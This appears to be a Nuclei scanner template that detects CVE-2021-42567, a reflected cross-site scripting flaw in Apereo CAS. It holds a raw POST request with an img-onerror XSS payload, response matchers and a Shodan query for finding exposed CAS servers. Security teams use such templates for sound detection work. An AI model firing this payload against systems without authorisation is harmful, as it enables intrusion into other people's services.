2021-12-30 11:39:29 +00:00
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id: CVE-2021-42567
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info:
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2022-02-28 18:05:03 +00:00
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name: Apereo CAS Reflected Cross-Site Scripting
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2021-12-30 11:39:29 +00:00
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author: pdteam
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severity: medium
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2022-02-28 18:05:03 +00:00
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description: Apereo CAS through 6.4.1 allows cross-site scripting via POST requests sent to the REST API endpoints.
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2021-12-30 11:39:29 +00:00
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reference:
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- https://apereo.github.io/2021/10/18/restvuln/
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- https://www.sudokaikan.com/2021/12/exploit-cve-2021-42567-post-based-xss.html
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- https://github.com/sudohyak/exploit/blob/dcf04f704895fe7e042a0cfe9c5ead07797333cc/CVE-2021-42567/README.md
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- https://nvd.nist.gov/vuln/detail/CVE-2021-42567
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- https://github.com/apereo/cas/releases
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tags: cve,cve2021,apereo,xss,cas
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metadata:
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shodan-query: http.title:'CAS - Central Authentication Service'
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2021-12-30 11:40:55 +00:00
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.10
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cve-id: CVE-2021-42567
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cwe-id: CWE-79
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2021-12-30 11:39:29 +00:00
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requests:
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- raw:
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- |
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POST /cas/v1/tickets/ HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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username=%3Cimg%2Fsrc%2Fonerror%3Dalert%28document.domain%29%3E&password=test
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matchers-condition: and
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matchers:
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- type: word
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words:
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- '<img/src/onerror=alert(document.domain)>'
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- 'java.util.HashMap'
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condition: and
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- type: status
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status:
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- 401
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2022-02-28 18:05:03 +00:00
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# Enhanced by mp on 2022/02/28
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